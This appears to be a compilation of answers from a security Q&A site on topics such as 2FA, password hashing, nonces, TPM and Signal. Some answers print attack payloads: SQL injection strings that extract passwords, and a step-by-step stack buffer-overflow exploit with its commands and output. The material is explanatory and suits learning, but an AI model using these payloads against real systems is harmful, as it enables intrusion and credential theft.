You should have kept the orginal QR setup code somewhere and used that to set up the Google Authenticator app on the new phone too. Then I would expect the display codes the same.

I have done like this on my various accounts with 2FA, and now have setup Google Authenticator on my 3rd phone without any access problems. I do not use Dropbox specifically however.


You have probably configured firefox correct, but you have intercept on, in the proxy-intercept tab turn of interception or forward/drop the request.


How is it possible for a USB device posing as a keyboard to auto-run a script without user input?

When you press a key on a normal keyboard, the keyboard sends a message to the computer over USB that a key is pressed. A BadUSB device can send that same message. Instead of waiting for a keypress, it sends a couple of these messages after it has been plugged in.

So a BadUSB device doesn't just immitate a keyboard, it immitates a keyboard that has certain keys pressed in a certain order. The attacker can program a microcontroller with USB port to behave as a keyboard and press some keys after some time.


Using Fiddler to capture few important Details

Fiddler would be the right choice for a client-based proxy implementation I guess, and it can be used as a stand-alone application or embarked in your application code (the user browser in your case).

However, if you want to do this as a protection measure, you should consider this as weak as a javascript control. Everything running on client-side can be tamperred and Fiddler is no exception to that.


Blind SQL injection with Acunetrix Vulnerability Scanner

The statement

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

basically tries three different injection points at once.

1. The direct one

    if(now()=sysdate(),sleep(6),0)/*...*/

If the input would be directly interpreted (without any escape characters) this sql would be triggered. The rest of the input string would be commented out.

2. Single quotation marks '..'

    ..'XOR(if(now()=sysdate(),sleep(6),0))OR'..

If the input is encapsulated in the statement with single quotation marks, the characters at the beginning and the end will break out of the context and the sql between them will be interpreted.

3. Double quotation marks ".."

    .."XOR(if(now()=sysdate(),sleep(6),0))OR"*/

Same as with the single quotation marks but works for inputs that are encapsulated in double quotation marks.

What the query might look like

If it is PHP that builds this MySQL statement, it might look like one of the following ones (depending on the case that triggers it):

sql = "INSERT INTO tbl_addresses (address,user) VALUES("+$_POST["address"]+",..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES('"+$_POST["address"]+"',..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES(\""+$_POST["address"]+"\",..)"

How it works

The statements are the same for each injection case.
It first compares if the return value of the "now" function matches that of the "sysdate" function. If that is the case (and it should be), the "sleep" function will be called with a time of either 6 or 0 seconds, resulting in the delay that you observed.

It is possible to exploit this as a purely blind SQL injection. A tool like sqlmap will help you with that, as it would take quite a lot of time if you do it by hand.
What it will basically do (in simplified form), is issue statements like:

if ( nth_character_of(password) == "a" , sleep(6), 0)

Where "nth_character_of" will be a database specific function that picks a character from a string and "password" will be a query that returns whatever value you want to retrieve from the database. It will also use an optimized method to find the correct characters.
If sqlmap experiences a delay it will know that the compare was correct and iterate further.

Narrowing it down

You can try to supply each of the three injection cases separately and have a look which one results in the delay. This way your injection string becomes much shorter and easier to modify and understand.

What you could try

If the value is indeed returned in the frontend, as you said in a comment under another answer, that SQL injection is not purely blind.
You might be successfull trying to insert your value directly like that:

version()/*'+version()+'"+version()+"*/

to retrieve the version in the frontend or with your query in all three places like:

(select password from users LIMIT 1)/*'+(select password from users LIMIT 1)+'"+(select password from users LIMIT 1)+"*/

The one with the custom query might not work depending on the encoding that in needed in this specific application but it is worth a try.


No Debugger, but a ton of "DbgUiRemoteBreakin" threads

The first explanation that comes to my mind for having applications being "debugged" mysteriously is that you are infected by some kind of malware that injects itself into other programs (this way, the malicious behaviour appears to come from these normal programs).

The way to prevent it would obviously be to remove such malware from your system. The hard part is identifying it. Did you look at the libraries loaded and startup processes?


Is this description of the term "event" accurate within the context of Business Continuity and Disaster recovery?

Totally depends on the context.

A cybersecurity event may simply be an action taken without inherent goodness or badness (user logged in, user failed authentication, logs were rotated, etc.).

A Business Continuity event or a disaster event is a different type of event. In this context, in order to classify it as a BC or DR "event" something "bad" must have happened (winds were 50 mph causing trees to fall on power lines), even if the impact was small. Else, there is no reason to classify it at all (wind was 5 mph).

Ultimately, it's semantics.


How secure credit card order system with blank mail

It's difficult to comment given that it's unclear what your purchase model is supposed to be. In particular it is not clear what the “blank e-mail” feature is for. Are you trying to do e-mail address verification?

The more usual method is to allow the user to enter an e-mail address on a web form, and then receive a mail containing a token or URL that confirms they received it. I think most people would probably find sending an e-mail to request that token in reply less convenient than the typical web form model.

There are reasons to want to do e-mail address verification but none that really constitute extra security for a simple payment processor form. If you are concerned about brute-force attacks against the CVV2 field, then (a) that's normally the payment system's concern, not yours; (b) e-mail addresses are not a scarce resource (anyone can create millions of them instantly), so verifying addresses and limiting attempts per address is not an effective form of rate-limiting.

Your step (2) makes it sound like you are serving the page containing the form to enter the credit card number (PAN) into. Is this not something also handled by the payment processor? If you are accepting PANs yourself you are bringing some hefty PCI-DSS requirements down on your head, are you sure that's what you want?


Microsoft and SHA-1 deprecating on Windows 7

It means that:

Between the 01/01/2016 and the 01/01/2017 for code signing certificate using the SHA-1 algorythm, executable signed with a time stamp dating on or before the 31/12/2015 will be accepted, executable signed on or after the 01/01/2016 will NOT be accepted.
On and after 01/01/2017, all certificate used for code signing will be required to use SHA-2.

This only applies to the hash algorythm used by the CA to validate the code signing certificate when it is issued (it's part of the certificate properties, not the code signature itself).

"Code signature file hash" is the process used by the tool used to sign the executable to perform the digital signature: it takes the original code file (without the signature, obviously), pass it through the hash function (the one we're talking about), and sign the resulting hash value with the code signing certificate (usually, adding a secure time stamp).

That "code signature file hash" is not required to be updated. It means that, for the time being, you can use the same signature process and tools and simply replace your code signing certificate.


Is it insecure to ask for the current nonce from server?

First things first. Your "hash" is actually a MAC, and a poor one because it fails to ensure security with usual hash functions (SHA-1, SHA-256...). Lookup the length extension attack for details. Basically, if you want a MAC then use a proper MAC, e.g. HMAC. Each HMAC call requires a couple invocations of the underlying hash function, one of them being on short input, so this should be acceptable for your device.

Assuming a proper MAC, you must consider what the nonce is for. The nonce protects against replay attacks only as long as:

The server checks that the nonce value is what it expects (equivalently, the server recomputes the MAC by using its known nonce value, and the MAC will match only if that nonce is the same one as the one used in the device).
The nonce values are not predictable.

Normal dynamics are the following:

Client connects to the server with some sort of connection.
Server sends back a newly generated nonce value.
Client computes the MAC and sends back the data and associated MAC value to the server.
Server checks the MAC value.

In HTTP context, this means a couple of requests. Nominally, HTTP requests are independent from each other, and thus they may happen to appear on the same connection (with "keep-alive"), or use distinct connections; on the server side, if load-balancing is used, the requests may go to distinct front-ends. This may make things more difficult for you. The critical point is that the server should accept a given nonce value only once. If a response has been received, using a MAC value computed with a specific nonce, then the nonce is "burnt up" and MUST NOT be accepted again.

Now for the non-predictability: suppose that the nonce value is, say, a counter maintained on the server (using the current time would be equivalent). At some point in time, counter value is C, so the attacker can predict that some time later, it will be C+100 (or C+100000 or whatever). Such an attacker could intercept a connection between the device and the server, and submit the nonce value C+100 to the device. The device, who believes that it talks to the genuine server, will send a data packet containing a correct MAC value for nonce C+100. The attacker records that answers. At a later time, when the server's counter reaches C+100, the attacker masquerades as the device and sends the recorded answer.

Therefore, a predictable nonce allows the attacker to gather a (valid) data packet from the device, and send it to the server at a time of his choosing. The attacker won't be able to forge a purely synthetic data packet, but he can decide when the packet will reach the server. Depending on your exact context, this may or may not be a problem; it is safer, though, to prevent such things to occur at all.

This sums up to the following:

It is not a problem to let people know what nonce values you use.
BUT each nonce must be used only once. If two clients connect simultaneously, each gets its own nonce.
It is much better is nonces are not predictable. Generate a nonce as a sequence of at least 16 bytes with a cryptographically secure PRNG.
If your device has enough juice for it, you may want to switch to SSL (i.e. HTTPS). Within the SSL tunnel, the device can simply use Basic Authentication, i.e. show the "secret" as is, because the tunnel is encrypted and properly done SSL ensures that the device is convinced to talk to the right server.

SSL is heavier (not really for CPU, more for network bandwidth and latency: a SSL handshake is two round-trips, and then one more for the request itself) but it is quite great at convincing people about security. Using SSL saves you a lot of effort when it comes to proving to some auditors that you did things correctly. Plus, it gives you confidentiality, which might be a good thing in your case.


$("div[id="+t+"]")

That's not JavaScript injection. For it to be JS injection, the attacker-supplied value would have to be written into the JavaScript code from the outside (for example in a server-side templating language or eval in JS itself). That's not happening here, there is no dynamically-generated JavaScript. There's just a plain string concatenation being done inside JavaScript.

It's not client-side HTML injection. For it to be HTML injection, there would have to be attacker markup content written to the DOM. There's not here, only the static string The DOM is now loaded and can be manipulated. which is written using the safe method text() which does not permit markup.

There is an injection problem happening here, but it's only Selector Injection. The JS string variable t is being copied into a CSS selector attribute value at JS runtime. Characters that are special here include ] (which ends the attribute value) and backslash (which introduces CSS escapes).

That's still a bad thing, but the worst you can do with a selector injection is make the application select the wrong element, for example:

http://victim.example.com/page#x],body,div[id=x

resulting in the selector

div[id=x],body,div[id=x]

which would, because of the reference to <body>, replace the whole page with the text The DOM is now loaded and can be manipulated.

Selector injections don't normally lead to DOM XSS. It's conceivable if you could target an element that the application then trusted to execute as code, such as a <script type="text/template">. But when you don't have control of the string The DOM is now loaded and can be manipulated. then there's not exploitation you can do, just annoyance.

You can fix selector injection by \xxx-escaping characters in t that are special in CSS. Better, where possible, is to avoid selector strings and their escaping problems by going straight to the element ID:

$(document.getElementById(t))  // works for any character in t

However in this case it seems hardly worth it as the attacks you can do with selector injection are by and large no worse than the deliberate functionality of letting an attack replace any named div with the text.


Security risks of exposing a VM to single IP address on the Internet

TL;DR: Not secure.

Exposing your VM to a single IP in practice mean that you are blocking connections from other IP addresses. This distinction is important, because IP addresses are not secured in any way and can be spoofed. Therefore this does not prevent the attacker from sending data to your VM with a spoofed IP.

It does help to a certain extent as it is hard/tricky to intercept the responses from the VM (as they are sent to the IP of the office, not the attacker). This hinders the attacker as he has to hack the VM blind or somehow intercept the responses (MITM for example). However this does NOT prevent the VM from being hacked.

VPN of course on the other hand uses proper authentication and is therefore much more secure.


If I sign someone else's key and later decide it was a bad idea, is it possible to un-sign it?

Removing a Local-Only Signature

If the signature is still only kept locally (either by never sending it to anybody or the key servers, or by even having performed an lsign which creates signatures that cannot be uploaded), you can actually delete it by running

gpg --edit-key [keyid]
[select a uid]
delsig
[go through the assistant for deleting signatures]
save

Revoking Published Signatures

If a signature was already sent to the key servers, you still can delete it locally, but you will not be able to remove anything from the key servers. The OpenPGP key server infrastructure is designed not to delete/forget anything, to be resistant against deletion attacks (where the attacker wants to remove eg. your key).

Instead of deleting the signature, now revoke it. This time, run

gpg --edit-key [keyid]
revsig
[go through the assistant for revoking signatures]
save

Now you should upload the revocation certificate (which more or less states "This certificate invalidates the signature I made starting from a given date for the reason given") to the key servers by running gpg --send-key [key-id].

As soon as the revocation sync'd throughout the key servers (some minutes) and other users will update key [keyid] (unknown time, possibly rather long), the revoked signature will not be taken into account any more when calculating validity and be displayed as revoked when listing the signatures.


Fake PayPal email with (presumably) malicious JS code

What does this do?

You can easily discover what something like this does by using one of the "deobfuscation" web tools such as www.deobfuscatejavascript.com

Of the several I tried, that was the best because it gave me an actual result. The code takes the very long string - and runs it through the 2 functions which decode it into a new web page. Paste the whole thing into the site listed and you will see the HTML that it produces.

Incidentally, you can do this for yourself too if you are careful by running all but the final line in Node.JS.

It is hard to see what the resulting page actually does, it appears to be trying to look like a genuine Paypal page. I'd need to spend longer looking at it to work it out. I think it safe to assume though that it is nothing good.

You could always try running it in a throw-away VM if you like to find out what it does.
Is this a new attack?

Who knows! And who really cares. These kind of things change a thousand times a day often with small variations to throw off the scent of the anti-virus bloodhounds.
How can I report this to PayPal?

You should find a reporting link on the PayPal site but if that isn't working, I recommend a direct message on Twitter.
How come this was sent to an email address that's actually bundled to a PayPal account? Has there been a leak of some sort? Is this a coincidence?

Coincidence most likely. PayPal certainly had some issues with leaked email addresses some years ago at the start but nothing since as far as I am aware.

If you want to avoid this kind of thing or at least make any issues more obvious, choose an email provider that allows either unlimited mail addresses via a catch-all (less common these days due to spam volumes) or allows you to add a modifier to the address.

For example if your email address is "myself@gmail.com", it would allow (and gmail does indeed allow) "myself+somethingrandom@gmail.com" with the "+" sign separating your actual address from the modifier.

Then every time you sign up for something, use a different modifier, you will still see all your email in one place but you will quickly see if one of your addresses has been compromised and can then filter it out.


To my knowledge, there has never been a version of ZitMo (Zeus in the Mobile) for iOS.  The variants for Android and Symbian have been fairly rudimentary, the most common Android one was just an unsigned APK that users were tricked into installing.  This is not possible in iOS without jailbreaking or compromising the device due to the requirement that iPhone apps be signed and delivered via the app store.


Comparison between Data Encryption Tools and Data Sanitization Tools

Use a parametrized query library like SQLi, adodb, or PDO.  If used properly this makes SQL injection impossible.


Firefox reports every HTTPS page as unsecure in Windows 7 for standard user

I followed the advice from the comments.

I found that the Kaspersky certificate was NOT present in the Firefox list of certificates in the new account, but it was present in Firefox in my (administrator) account.

I exported it from there, imported it in the new user account, clicking "Yes, I trust etc." and now it is all working.

Thank you, everybody who has helped me out.


Does the destruction of sensitive information limit the choice of hard drives to non-flash based devices?

Data destruction is a technique of last resort. If you are planning to use a new storage device, you should use full disk encryption. This allows you to either destroy the encrypted master key or simply forget the password, effectively rendering all data unrecoverable, despite no data actually being wiped. Encryption  is a solution for both solid state and standard hard drives. Use a strong algorithm like AES.
If you absolutely need to use a hard drive without full disk encryption, you should get one which supports SED, which is transparent hardware encryption. SED transparently encrypts all data written to the drive, but keeps the encryption key stored in a special area. When you initiate secure erasure, this key is all that is destroyed. This feature is supported on most modern SSDs and HDDs. If you do not know if a drive supports it, you can often conclude that it is supported if the estimated ATA Secure Erase time is showing as only two minutes, regardless of how large the drive itself is.
There is nothing intrinsic to the data storage methods used by solid state media that makes it hard to perform data destruction, but their firmware makes it impossible for the operating system to overwrite specific sectors due to wear leveling, a feature that spreads writes around the drive to decrease the wear and tear on individual flash cells (each of which has a finite lifespan). This does mean that you cannot overwrite data on SSDs reliably. You can still use SED if the drive implements it, and you can use ATA Secure Erase as well, but if you need to manually overwrite a range of sectors, use an HDD.
Note that, if you do use an SSD and are using full disk encryption and you have TRIM enabled, the drive will leak a limited amount of metadata, as explained in this excellent blog post. You can usually disable TRIM at a small performance penalty, but you will avoid metadata leakage. Whether or not the exact metadata leaked is problematic depends on your specific threat model.


Capturing cleartext authentication (EAP-TTLS/PAP) with WPA-2 Enterprise?

My knowledge on wireless communication is limited, but is it possible to force a client to connect to EAP-TTLS/PAP or is this controlled by the client or through client profiles?

  Or a better technical question, how is the authentication type controlled?

This is initially controlled by the RADIUS server of the wireless network as it will be configured to only allow certain EAP methods.

Once the wireless network is configured on a client, it will have the chosen EAP method configured in the wirless network profile.

So, if you are getting a client to join a network for the first time, you can offer them whatever you want, however this is not useful when trying to establish a MitM situation as you are generally trying to situate yourself between an established connection between a client and existing network.


To strengthen a password hash, you need to do two things to the hashing process:

to make it unique;
to make it slow.

"Unique" means that each password should be hashed with its own hash function; which hash function is used can be some public information (i.e. stored along the hash value), but you want to make it different for each password you hash. This is what a salt does: the salt defines the hash procedure to use, among a wide family. Uniqueness defeats rainbow tables: rainbow tables, like all other kinds of precomputed tables, relies on the idea that it is worthwhile to spend some time hashing a lot of passwords and storing the hash values (possibly in a smart way which allows for some extreme compression, like rainbow tables), because the resulting table can be used to attack several passwords, with a very small per-password marginal cost. With salts, each password has its own function, so the table would be good for at most one password only, which destroys its advantages.

Hashing "1000 (or more) times" the password does not include a salt, and, as such, is vulnerable to precomputed tables. For instance, assuming SHA-256 as hash function, here is your hashed password:

f3f19029aa4ef4bde723f49b4e90a7ad51473c54a03589af6fef706bf50d7894

That's the SHA-256 hash of 1000 'a' characters. I could precompute that value because once you have said "1000" you have said it all; no salt, hence no surprise for the attacker.

Slowness is about making each password guess as expensive as possible for the attacker. Even with good salting, an individual hashed password can be vulnerable to brute force, aka "dictionary attack" (trying potential passwords), because humans are not nearly as imaginative as computers are powerful. A PC with a GPU can compute a hash function a billion times per second or so. We want a hashing procedure which takes more time to compute -- not too much, because our honest server will also hash passwords when a user logs in, and we do not have infinite CPU either; but we just need to hash, at most, a dozen passwords per second, so we can tolerate a substantially slow hash function.

Usually, slowness is obtained by mandating nested hashing: we hash the password, then we hash the resulting hash value, which we hash again, and so on. There are a few tricky details about how and where the salt is inserted. Hashing the concatenation of 1000 times (actually, with the figures above, 1 million times would be better) the password (or the concatenation of the password and the salt) could serve the same purpose, but it is a bit delicate in practice: indeed, we want to configure the number of repetitions of the password so that the procedure is tolerably slow. But with such a system, hashing a 40-character password takes 40 times the time of hashing a 1-character password; if the latter must be slow, the former will be 40 times as slow, which soon becomes intolerable. With nested hashing, it is easier to get constant hashing time, which makes configuration easier.

And, of course, homemade is Bad. Inserting a password and a salt in a hash function, iterated and/or nested, is subtle; there are pitfalls, and, worst of all, you cannot know whether you did it wrong or not. Security cannot be reliably tested. So, you should stick to published and widely deployed standards of good repute, such as bcrypt and PBKDF2. If only because it means that any mishap will not be your fault.


Please don't use the "explanation" of signatures as "encryption with the private key" because it is a flawed analogy that does not actually work.

RSA is really two algorithms, one for asymmetric encryption, and one for signatures. It so happens that the two algorithms have some common mathematical elements, and, in particular, use the same kind of key (which is why we call it a "RSA key", not a "RSA encryption key" or "RSA signature key"). Thus, it is conceivable that a given RSA key pair may be used for both encryption and signatures.

However, there are good reasons why you would like to keep encryption and signature keys separate. The OpenPGP format acknowledges that, and thus "tags" keys with an indication of their intended usage. Therefore, your signature-only RSA key is a RSA key that OpenPGP tagged with a label that mostly says "please don't use that key for encryption".


How CERT.rsa is interrelated with PackageInfo signatures

It is the last block of Hex from the following command:

openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs -text


Is it safe to store bearer tokens in an iframe and/or pass them back to the parent window?

You shouldn't allow your authentication/authorization page to be embedded in an IFrame, because you can't prevent clickjacking attacks that way.

From RCF6749, Section 10.13 "Clickjacking":

  To prevent this form of attack, native applications SHOULD use
  external browsers instead of embedding browsers within the application
  when requesting end-user authorization.  For most newer browsers,
  avoidance of iframes can be enforced by the authorization server using
  the (non-standard) "x-frame-options" header.  This header can have two
  values, "deny" and "sameorigin", which will block  any framing, or
  framing by sites with a different origin, respectively.  For older
  browsers, JavaScript frame-busting techniques can be used but may not
  be effective in all browsers.

Not that the danger here is not that someone overlays an invisible button on top of your site's iframe, but the other way around: an attacker creates an inocuous-looking button like "Display cute kittens" and overlays your "Authorize this app to access all of my data" frame on top of that. When the user clicks the "kittens" button he's actually giving access to his account to the attacker. The only way around that is to not allow your flow in an iframe. Or just assume the risk and live with it.

Appart from that, you should be careful with bearer tokens: whoever holds them has authorization, and they're sent over the wire for every operation. A lifetime of 30 days for something like an access_token is a bad idea.

For your own app you can solve it however you please, oauth2 offers the "Resource owner credentials" flow which is a good option IMHO. But you don't really need oauth here.

For 3rd party websites you should use a server-side flow with short-lived access_tokens and long-lived refresh_tokens that require client authentication (whenever possible)

For user-agent side consumers (native apps) you should use a client-side flow with short-lived tokens and take additional precautions. Or use something different from oauth, oauth is very web-centric.

PS: I'd also like to point out that @HTLee comment on the question is wrong:

  For anyone considering doing this - it is best to avoid the bearer
  token approach. If you can make use of the authorization code grant
  flow, the token is stored server side, and is never exposed to the
  browser (plus for security). With a bearer token approach the token
  needs to be exposed to the browser

"Bearer" is a property of the token that means "whoever's in possession of this string is authorized". It is not tied to a particular flow and in fact the "authorization code" flow will produce a bearer token called access_token (and optionally another one called refresh_token).

The alternative to "bearer" tokens is a MAC Token, which is never sent over the wire. The spec for MAC tokens in oauth2 is not standarized yet.

That's what Eran Hammer's post was about and is only tangential to OP's question.


Is an 80 bit password good enough for all practical purposes?

Short answer: The more the better, but for now (2014) this is probably enough.

There is an important distinction between hacking into your Gmail and cracking an offline password. If you want to hack a Gmail account by guessing the password, you can only do a few tries per second at most. Google will block thousands of login attempts to a single account in too short a timeframe.

However if we are talking about, say, a Windows login, then it is stored locally. Windows has a database with the hashed password somewhere on the hard drive (in layman's terms: the encrypted password). This means that someone with access to the hard drive can extract the hashed password and start cracking however fast their computer can, which may be many millions of attempts per second.

Or when a database is hacked (see: LinkedIn), hashed password are often obtained and people can start cracking locally just like with a Windows login. This is where password strength really becomes important.

Edit: Like emory and JS. commented, you should assume all services get hacked at some point, so while right now you may not be able to brute force your Gmail password very fast, it could change any day. And not every company admits (or knows) that they got hacked. I still think it's okay to use reasonable passwords (if hackers can't crack it in 5 minutes they are just going to move on to one of the other 90 million passwords they obtained), but it's a valid point that no service is perfectly secure.

About password strength

(Jargon: you can think of "entropy" as being "true random data".)

So is 80 bits enough? Consider the following 80-bits password: 1111111111. Doesn't look very strong... How about this one, which is 160 bits: "horse battery staple" (20 bytes times 8). Better, but it's actually 3 words instead of 160 bits. If there are 10'000 possibilities in the English language then you can make 1 trillion combinations with 3 words, which is a lot, but nowhere near the 1 quindecillion possibilities you would have with 160 bits of entropy. Finally, how about 0MxLrTm8Z1? That is generated by a secure random number generator. It's 10 characters and takes 80 bits in storage. But how much entropy does it really contain? It's only alphanumeric (a-z A-Z 0-9), or 62 possibilities, making only 8.39*10^17 possibilities, or 59.5 bits of entropy.

So having a 10-character password does not mean you have 80 bits of entropy to crack through before finding the original. To store 80 bits in printable characters (the ones that you can type on a keyboard), which includes special characters like *&$@, you would need a password of 13 characters long.

Forward thinking

Another issue is that computers get ever faster. 80 bits is secure for now, but if you encrypt a file in 2014 with a now-safe password, maybe it could be cracked in 2017 when 36 months* have passed and computers became roughly 4 times faster.

While in 1993 a 6-character password (taken straight from a dictionary) might be reasonable security, in 2014 we debate whether 10 random characters is enough.

* Attentive readers will notice that's twice Moore's law (even more attentive readers will note that Moore's law was about transistors on a chip, not a computer's speed).

Password usage

And finally we have practical matters to think of: how do you manage your passwords? If I tell you that 80 bits is probably enough (which I just did), are you going to memorize a random 13-character password with lots of strange characters, and then use it for every account you have?

Whether a password manager is a good idea is another topic, but using different passwords is better than remembering a strong master password. It would be best to use a strong and unique password everywhere, but that's just not doable without writing it down or using a password manager, which introduces other risks. I'll leave such considerations to a dedicated question.


How does SAQ A-EP apply in the situation where no I frames are used

The page you linked to above says:

  The new version of Stripe.js meets these criteria by performing all
  transmission of sensitive cardholder data within an iframe served off
  of a stripe.com domain controlled by Stripe.

So Stripe does use iframes to make their customers eligible for SAQ A rather than SAQ A-EP, as long as you use the new version of stripe.js.


How are stack canaries padded by unmapped pages?

It would be clear to say that the reference copy of the canary value is surrounded by unmapped pages. That is, the page containing the canary value has at least one unmapped page immediately before it and one unmapped page immediately after. The goal is to make it unlikely that an attacker can read or modify this value. To reach this value, an attacker needs to find a vulnerability that allows reads or writes at an arbitrary address. A buffer overflow or underflow can't reach the canary value because it would first access one of these unmapped pages and crash the program.


How can I set my server to only accept requests from my own client app? (similar to SSL Client Certificates)

This type of problem lends itself to Cargo-Cult Security type "solutions".

In the real world there is no possible mechanism that can prevent a rogue client from connecting to your service. A VPN is a proven security system that allows trusted clients access to a trusted network,  but the internet is inherently untrustworthy.  The attacker will have access to any secret embedded in your app,  or stored in app memory,  TLS client certificates rely upon a secret.

When designing a web service never forget: "The client is the attacker,  and can never be trusted."  If you have made this mistake,  then you need to go back to the drawing board.


How to fix Spectre variant 3a and variant 4?e

There's not much you as a user can do besides waiting for processor microcode updates (Spectre v3) and browser updates (Spectre v4).

Once the microcode updates are here, you then have to update all the software that you use, because these have to be rewritten and recompiled to incorporate changes that are needed to mitigate Spectre (especially how software handles memory disambiguation).

If your browser is up to date, it is now very hard[citation needed] to execute a Spectre v4-based attack. The first wave of updates dedicated to mitigate Spectre limited certain high-resolution timer functionalities. If you update your browser and generally don't use JavaScript on untrusted sites, you are probably safe. If you want to target Spectre attacks specifically you can only disable Just in Time-Compilation (JIT).

Regarding 007: afaik this is a framework/tool for programmers and developers, not for the average end user because the source code has to be accesible at the very least. I'm unsure what other requirements there are.


First thought - what is it you need?

If it is a wide set of general purpose tools then yes, Backtrack does come with a wide set of tools, but it doesn't do everything. Other options:

Darknet have a top ten LiveCD distros from 2008 - some of which have since died, but is a good place to start.
The russix LiveCD was ideal for Wireless Penetration Testing - but I think it has been discontinued for a while.
Helix is a forensics and incident response toolkit. Some penetration testing functionality, but the core focus is forensics.

I use all 3 of the above plus other tools - depends on what is needed, and to be honest, having each one on a USB stick or a CD/DVD is pretty easy to carry about.

If you want really lightweight distros, look at @atdre's answers to this question.


Problems with overflowing the return address on stack x86_64

x86 SOLUTION ONLY: (see comments)

If I got your task right, you have to overflow the function pointer for sayHello.

Hence, the first task is to identify that functions address.

nm test | grep sayHello

In my case this was the result

0804844b T sayHello

So I have to overwrite the return address (RET) of getInput() with 0x0804844b. Now you can either identify via gdb how far away from RET the buffer buff is located. I have chosen a different approach, since it was quite obvious what range it will be. Therefore my next step was to identify the amount of data to put into buff to over write RET. This is done using the following command which will enter a string of 'A' repeated 28 times when the program waits for input (gets()):

perl -e 'print "A"x28' | strace -i test

and looked for such a line to appear in the end:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Next, I have reduced the number of 28 to 24 and printed four times B to see whether the address in the output above changes to [42424242] - it didn't, so I reduced 24 to 20 and checked again.

perl -e 'print "A"x20; print "BBBB"' |strace -i  ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

The last step is to replace BBBB with the address (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' |  ./test

and the output was:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

I have successfully overwritten RET with the address of sayHello().

With that off the chest, let's have a look at your compilation string question.

-mpreferred-stack-boundary=4 man gcc is very helpful here. You tell gcc with this parameter to keep the stack boundary aligned to 2^4 (16 Byte). If you want to have it at 16 Byte, you can leave the parameter since this is default.

However, I have also used the parameter -fno-stack-protector. With this I tell the compiler to not add extra code for checking buffer overflow. If you leave that out, you won't be able to exploit your test binary.


From wikipedia: Key Stretching:

  ... are used to make a possibly weak key ... more secure against a brute force attack by increasing the time it takes to test each possible key

Since hashes like SHA-2 are designed for speed simple key stretching by using just the hash don't really slow down an attacker which tries to brute-force a key based on the weak input. KDF like PBKDF2 are instead designed to really slow down the attacker by being slow themselves.

While your example does lots of iterations to slow down the computation an attacker could create once a database of all interesting weak inputs and their outputs and use this precomputed values later in multiple brute-force attacks instead of recalculating all values at the time of attack. That's why algorithms like PBKDF2 use additionally a salt to vastly increase the memory needed by such database and the time to create it and thus make it impractical.

  There is no PBKDF2 implementation available in the language I am programming with.

If the language already offers a way to calculate a hash and you are willing to create some KDF anyway then implementing PBKDF2 or other well designed KDF
instead of your own idea should not be too hard.


Does use of fixed padding pattern compromise AES-ECB

To answer your question: Yes. You are facing two problems:

1) ECB is inherently unsafe to use and is only meant to be used as a building block for more safe operations. ECB mode produces the same output for the same input each time so it is extremely deterministic.

2) Because of the properties mentioned in 1 it will become trivial for an attack to determine what you exact padding is when he gathers a bunch of texts.

You should really consider using a more complex operation mode.
I strongly suggest that you use CBC (Cipher Block Chianing) or any of the other more secure modes (OFB, CFB, CTR) <- look these up if you have to.

EDIT: I made you a list down below that references wikipedia and also explains that ECB should not be used:

ECB:

  The simplest of the encryption modes is the Electronic Codebook (ECB)
  mode. The message is divided into blocks, and each block is encrypted
  separately. The disadvantage of this method is that identical
  plaintext blocks are encrypted into identical ciphertext blocks; thus,
  it does not hide data patterns well. In some senses, it doesn't
  provide serious message confidentiality, and it is not recommended for
  use in cryptographic protocols at all.

CBC:

  In CBC mode, each block of plaintext is XORed with the previous
  ciphertext block before being encrypted. This way, each ciphertext
  block depends on all plaintext blocks processed up to that point. To
  make each message unique, an initialization vector must be used in the
  first block. CBC has been the most commonly used mode of operation.
  Its main drawbacks are that encryption is sequential (i.e., it cannot
  be parallelized), and that the message must be padded to a multiple of
  the cipher block size. One way to handle this last issue is through
  the method known as ciphertext stealing. Note that a one-bit change in
  a plaintext or IV affects all following ciphertext blocks.

CFB:

  The Cipher Feedback (CFB) mode, a close relative of CBC, makes a block
  cipher into a self-synchronizing stream cipher. Operation is very
  similar; in particular, CFB decryption is almost identical to CBC
  encryption performed in reverse.

OFB:

  The Output Feedback (OFB) mode makes a block cipher into a synchronous
  stream cipher. It generates keystream blocks, which are then XORed
  with the plaintext blocks to get the ciphertext. Just as with other
  stream ciphers, flipping a bit in the ciphertext produces a flipped
  bit in the plaintext at the same location. This property allows many
  error correcting codes to function normally even when applied before
  encryption.

CTR:

  Like OFB, Counter mode turns a block cipher into a stream cipher. It
  generates the next keystream block by encrypting successive values of
  a "counter". The counter can be any function which produces a sequence
  which is guaranteed not to repeat for a long time, although an actual
  increment-by-one counter is the simplest and most popular.


Using the TPM module to measure boot process and remote attestation

The TPM seals arbitrary data using a key derived from the state of its PCRs. It is up to you to tell if that data is correct. It could be a decryption key, so the disk can only be read when the PCRs are in the right state, or even a secret phrase known only to you, ensuring that an attacker cannot spoof it because they do not know it. There are many answers on SE which explain measured boot.


Signal Protocol: How is identity exchanged if a key exchange hasn't happened yet?

Here are some specs if you want to look into it further, especially X3DH.

Basically (and this is a simplification), the server stores a number of "prekeys" for each device, which are the public halves of ephemeral DH keys generated by a device when it registers, and regenerated as needed.

When Alice initiates a session with Bob, she retrieves a prekey from the server and creates a new ephemeral key to use with it. The message she sends includes an identifier for which prekey she used, and the public half of her ephemeral key.

When Bob receives the message, he can locate the private half of the prekey used by Alice, and use it with the public key she sent to compute the shared secret.

It's worth noting that the key agreement is necessary not only for sharing the profile, but for sending an encrypted message at all. If two devices were incapable of creating a shared secret asynchronously it wouldn't be possible to initiate a session unless both devices were online, or unless the key agreement messages were cached by the server until delivery, which would still create unnecessary delays. The prekeys are sort of a way of "precaching" key agreement messages.


NVD is an authoritative source for vulnerabilities reported to them. They do not list vulnerabilities that merely exist in the wild.

So, yes, the NVD is a fine place to go, but it is never going to be fully complete. Not every vulnerability is issued a CVE.


MSTG-ARCH-7: All security controls have a centralized implementation

